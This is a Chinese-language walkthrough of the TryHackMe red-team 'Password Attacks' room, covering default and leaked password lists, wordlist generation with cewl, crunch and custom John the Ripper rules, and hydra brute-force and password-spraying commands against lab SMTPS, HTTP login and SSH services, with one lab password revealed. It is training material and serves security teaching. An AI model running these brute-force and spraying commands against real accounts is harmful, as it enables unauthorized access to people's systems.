THM-红队-密码攻击(Password Attacks)
密码攻击技术
密码攻击技术
在这个房间里,我们将讨论可用于执行密码攻击的技术。 我们将介绍各种技术,例如字典、蛮力、规则库和猜测攻击。 上述所有技术都被视为主动“在线”攻击,其中攻击者需要与目标机器通信以获取密码,以便获得对机器的未授权访问。
密码破解与密码猜测
本节从网络安全的角度讨论密码破解术语。此外,我们还将讨论密码破解和密码猜测之间的显着差异。 最后,我们将演示用于密码破解的各种工具,包括 Hashcat
和 John the Ripper
。
密码破解是一种用于发现从加密或散列数据到明文数据的密码的技术。攻击者可能会从受感染的计算机获取加密或散列密码,或通过网络传输数据获取密码。一旦获得密码,攻击者就可以利用密码攻击技术使用各种工具破解这些散列密码。
密码破解被认为是渗透测试中的传统技术之一。主要目标是让攻击者升级到更高的权限并访问计算机系统或网络。 密码猜测和密码破解通常是信息安全专业人员常用的方法。两者都有不同的含义和含义。密码猜测是一种基于字典来猜测在线协议和服务密码的方法。以下是密码破解和密码猜测之间的主要区别:
- 密码猜测是一种用于针对在线协议和服务的技术。因此,它被认为是耗时的,并且有机会为失败的登录尝试生成日志。在基于 Web 的系统上进行的密码猜测* 攻击通常需要为每次尝试发送一个新的请求,这很容易被检测到。如果系统设计和配置安全,可能会导致帐户被锁定。
密码破解是一种在本地或在攻击者控制的系统上执行的技术
密码分析
拥有一个好的单词列表对于成功进行密码攻击至关重要。了解如何生成用户名列表和密码列表很重要
默认密码
在执行密码攻击之前,值得针对目标服务尝试几个默认密码。制造商为交换机、防火墙、路由器等产品和设备设置默认密码。在某些情况下,客户不会更改默认密码,这会使系统容易受到攻击。因此,尝试 admin:admin
、admin:123456
等是一个很好的做法。如果我们知道目标设备,我们可以查找默认密码并进行尝试。 例如,假设目标服务器是 Tomcat
,这是一种轻量级开源 Java 应用程序服务器。在这种情况下,我们可以尝试几个可能的默认密码: admin:admin
或tomcat:admin
。
以下是一些为各种产品提供默认密码的网站列表。
- https://cirt.net/passwords
- https://default-password.info/
- https://datarecovery.com/rd/default-passwords/
弱密码
专家会随着时间的推移收集和生成弱密码列表,并经常将它们组合成一个大的单词列表。列表是根据他们的经验和他们在渗透测试中看到的内容生成的。 这些列表还可能包含已公开发布的泄露密码。以下是一些常见的弱密码列表:
- https://wiki.skullsecurity.org/index.php?title=Passwords - 这包括最著名的密码集合
- SecLists - 各种列表的巨大集合,不仅用于密码破解
密码泄露
密码或哈希值等敏感数据可能会因违规而被公开披露或出售。这些公开或私人可用的泄漏通常被称为“转储”。根据转储的内容,攻击者可能需要从数据中提取密码。在某些情况下,转储可能只包含密码的哈希值,需要破解才能获得纯文本密码。以下是一些常见的存在弱密码和泄露密码的密码列表,包括webhost
、elitehacker
、hak5
、 Hotmail
、 PhpBB
公司的泄露
组合词表
假设我们有多个单词表。然后,我们可以将这些词表组合成一个大文件。这可以使用cat如下完成 :
cat file1.txt file2.txt file3.txt > combined_list.txt
要清理生成的组合列表以删除重复的单词,我们可以使用 sort 和 uniq 如下
sort combined_list.txt | uniq > password.txt
# 将重复的密码去除
分析网站生成模糊字典
自定义密码列表是增加找到有效凭据的机会的最佳方法之一。我们可以从目标网站创建自定义密码列表。通常,公司的网站包含有关公司及其员工的重要信息,包括电子邮件和员工姓名。此外,该网站可能包含特定于公司提供的关键字,包括产品和服务名称,这些关键字可能会用于员工密码!
Cewl
等工具 可用于有效地抓取网站并提取字符串或关键字。Cewl
是一个强大的工具,可以生成特定于给定公司或目标的词表。考虑以下示例:
user@thm$ cewl -w list.txt -d 5 -m 5 http://thm.labs
-w
将内容写入文件。在这种情况下,list.txt
-m 5
收集 5 个或更多字符的字符串(单词)
-d 5
是网络爬虫/爬虫的深度级别(默认2)
http://thm.labs
是将要使用的 URL
现在我们对目标有了一个名称、位置和他们的许多商业术语的字典,可以使用该字典进行用户名和密码的模糊测试
生成密码字典
准备单词列表的另一种方法是使用键空间技术。在这种技术中,我们在单词列表中指定了一系列字符、数字和符号。 crunch
是创建离线单词列表的众多强大工具之一。使用 crunch
,我们可以指定许多选项,包括最小值、最大值和选项,如下所示:
user@thm$ crunch -h
crunch version 3.6
Crunch can create a wordlist based on the criteria you specify.
The output from crunch can be sent to the screen, file, or to another program.
Usage: crunch [options]
where min and max are numbers
Please refer to the man page for instructions and examples on how to use crunch.
下面的示例创建一个包含 2
个字符的所有可能组合的单词列表,内容包括 0-4
和 ad
。 我们可以使用 -o
参数并指定一个文件将输出保存
user@thm$ crunch 2 2 01234abcd -o crunch.txt
Crunch will now generate the following amount of data: 243 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: xx
crunch: 100% completed generating output
值得注意的是,根据您指定的字长和组合选项,crunch
可以生成非常大的文本文件。以下命令创建一个最小和最大长度为 8
个字符的列表,其中包含数字 0-9
、af 小写字母
和 AF 大写字母
:
crunch 8 8 0123456789abcdefABCDEF -o crunch.txt
生成的文件为459 GB
,包含54875873536
个单词
crunch
还允许我们使用 -t
选项指定一个字符集来组合我们选择的单词。以下是一些其他选项,可用于帮助创建您选择的不同组合:
-
@
- 小写字母字符 -
,
- 大写字母字符 -
%
- 数字字符 -
^
- 包括空格在内的特殊字符
例如,如果我们知道密码的一部分,并且我们知道它以 pass
开头 ,后面跟着两个数字
,我们可以使用 上面的%
符号来匹配数字。在这里,我们生成一个包含 pass
后跟 2
个数字的单词列表
user@thm$ crunch 6 6 -t pass%%
Crunch will now generate the following amount of data: 700 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100
pass00
pass01
pass02
pass03
使用规则生成密码相关字典
基于规则的攻击也称为 混合攻击。基于规则的攻击假定攻击者对密码策略有所了解。规则用于在给定密码策略的指导方针内创建密码,理论上应该只生成有效密码。在生成符合策略的密码时,使用预先存在的单词列表可能很有用——例如,操纵或“修改”密码,例如“password”: p@ssword
、 Pa$$word
、Passw0rd
等
对于这种攻击,我们可以使用hashcat
或John the ripper
扩展我们的词表。然而,对于这次攻击,让我们看看开膛手约翰是如何工作的。通常,John the ripper
有一个包含规则集的配置文件,该文件位于/etc/john/john.conf
或 /opt/john/john.conf
,具体取决于您的发行版或 john
的安装方式。您可以阅读/etc/john/john.conf
并查找 List.Rules
以查看所有可用规则
这里推荐使用john --rules=
然后摁下TAB
键进行补全,会显示所有可用的规则
我们可以看到我们有很多规则可供我们使用。我们将创建一个只有一个密码且包含字符串 tryhackme
的词表,以查看我们如何扩展该词表。让我们选择其中一个规则, best64
规则,它包含最好的 64
个内置 John
规则,看看它能做什么!
user@machine$ john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
76p 0:00:00:00 100.00% (2021-10-11 13:42) 1266p/s pordpo
76
--wordlist=
指定单词列表或字典文件。
--rules
指定要使用的规则
--stdout
将输出打印到终端
|wc -l
计算 John 生成了多少行
通过运行前面的命令,我们将密码列表从 1
个扩展到 76
个。 现在让我们检查另一个规则, KoreLogic
是John中最好的规则之一 。KoreLogic
使用各种内置和自定义规则来生成复杂的密码列表。如需更多信息,请在此处访问该网站。现在让我们使用此规则检查 Tryh@ckm3
是否在我们的列表中可用!
user@machine$ john --wordlist=single-password-list.txt --rules=KoreLogic --stdout |grep "Tryh@ckm3"
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
Tryh@ckm3
7089833p 0:00:00:02 100.00% (2021-10-11 13:56) 3016Kp/s tryhackme999999
上一个命令的输出显示我们的列表具有tryhackme
的复杂版本,即Tryh@ckm3
。 最后,我们建议您查看所有规则并找到最适合您的规则。许多规则将组合应用于现有的单词列表并扩展单词列表以增加找到有效密码的机会!
自定义规则
John the ripper
有很多东西可以提供。例如,我们可以构建自己的规则并在约翰破解哈希时在运行时使用它,或者使用规则构建自定义词表!
假设我们想从一个预先存在的字典创建一个自定义单词列表,并对原始字典进行自定义修改。目标是在每个单词的开头添加特殊字符(例如:!@#$*&
)并在末尾添加数字 0-9
。格式如下:
[符号]单词[0-9]
我们可以将我们的规则添加到 john.conf
的末尾:
user@machine$ sudo vi /etc/john/john.conf
[List.Rules:THM-Password-Attacks]
Az"[0-9]" ^[!@#$]
[List.Rules:THM-Password-Attacks]
指定规则名称 THM-Password-Attacks。
Az
使用表示原始单词列表/词典中的每个单词。
“[0-9]”
在单词末尾 附加一个数字(从 0到 9 )。对于两位数,我们可以加上 “[0-9][0-9]”
等等。
^[!@#$]
在每个单词的开头添加一个特殊字符。 ^
表示行/字的开头。请注意,将 ^
更改为 $
会将特殊字符附加到行/单词的末尾。
现在让我们创建一个包含单个单词password
的文件,看看我们如何使用此规则扩展我们的单词列表
user@machine$ echo "password" > /tmp/single.lst
我们使用--rules
选项使用我们在 John
命令中创建的规则的名称 。我们还需要在终端中显示结果。我们可以使用 --stdout
来做到这一点,如下所示:
user@machine$ john --wordlist=/tmp/single.lst --rules=THM-Password-Attacks --stdout
Using default input encoding: UTF-8
!password0
@password0
#password0
$password0
如果想要保存导出的密码字典,在末尾加入> 文件名
即可
练习题目
-
你能 不用暴力破解就猜出FTP凭据吗?旗帜是什么?
直接匿名用户登录下载flag
文件即可 -
在这个问题中,您需要从上一个任务中的 词表
clinic.lst
生成一个 基于规则的词典。电子邮件:pittman@clinic.thmredteam.com
针对465 (SMTPS)
。注意密码格式如下:[符号][字典词][0-9][0-9]
首先使用该命令生成一个模糊字典clinic.lst
user@machine$ cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/
通过提示得到符号
修改/etc/john/john.conf
文件,规则如下
[List.Rules:Test-Rule]
Az"[0-9][0-9]" ^[!@]
使用改规则生成一个新字典
john --wordlist=clinic.lst --rules=test-rule --stdout > clinic.txt
使用改字典对smtp
服务进行爆破,注意这里爆破时使用smtps
服务,不然会报错
hydra -l pittman@clinic.thmredteam.com -P clinic.txt smtps://10.10.37.111
- 使用
hydra
对位于http://10.10.37.111/login-get
的登录页面的phillips
帐户执行暴力破解攻击?旗帜是什么?
使用命令
hydra -l phillips -P clinic.lst 10.10.37.111 http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php"
根据我的经验,使用F=Login failed
应该是可以成功的,不知道为什么
- 执行基于规则的密码攻击以获得对
burgess
帐户的访问权限。在以下网站找到标志:http://10.10.37.111/login-post/
。 旗帜是什么?
注意:使用 clinic.lst
词典来生成和扩展词表!
和任务二差不多,只不多这次使用自带的规则
john --wordlist=clinic.lst --rules=single-extra --stdout > clinic.txt
爆破
hydra -l burgess -P clinic.txt 10.10.37.111 http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php"
爆破时间可能会有点长,这的密码其实就是OxytocinnicotyxO
密码喷洒攻击
密码喷射是一种用于识别有效凭据的有效技术。如今,密码喷射被认为是发现弱密码的常见密码攻击之一。此技术可用于各种在线服务和身份验证系统,例如 SSH、SMB、RDP、SMTP、Outlook Web 应用程序等。暴力攻击针对特定用户名以尝试许多弱且可预测的密码。密码喷洒攻击针对许多使用同一个弱密码的用户名,这有助于避免帐户锁定策略。下图解释了密码喷射攻击的概念,其中攻击者对多个用户使用一个通用密码
普通密码和弱密码通常遵循某种模式和格式。一些常用的密码及其整体格式可以在下面找到
- 当前季节后跟当前年份 (SeasonYear)。例如Fall2020、Spring2021等。
- 当前月份后跟当前年份 (MonthYear)。例如,November2020、March2021等。
- 使用公司名称和随机数 (CompanyNameNumbers)。例如, TryHackMe01、 TryHackMe02
如果在组织内强制执行密码复杂性政策,我们可能需要创建一个包含符号的密码来满足要求,例如 October2021!
, Spring2021!
, October2021@
等 。 为了成功进行密码喷射攻击,我们需要枚举目标并创建有效用户名列表(或电子邮件地址列表)
使用以下用户名列表:
user@THM:~# cat usernames-list.txt
admin
phillips
burgess
pittman
guess
- 执行 密码喷射攻击 以访问
SSH://MACHINE_IP
服务器以读取/etc/flag
。旗帜是什么?
根据密码格式季节+年份+特殊字符
生成对应的字典
首先生成手写一个包含四季
的单词
┌──(Junglezt㉿ubuntu)-[~]
└─$ cat pass.txt
spring
summer
fall
winter
使用该字典生成我们需要的密码字典,修改/etc/john/john.conf
添加以下规则
[List.Rules:Test-Rule]
cAz"[2][0][2][0-3]" $[!@]
生成对应的字典
john --wordlist=pass.txt --rules=test-rule --stdout > password.txt
使用该密码字典进行密码喷射
攻击
hydra -L username.txt -P password.txt ssh://10.10.37.111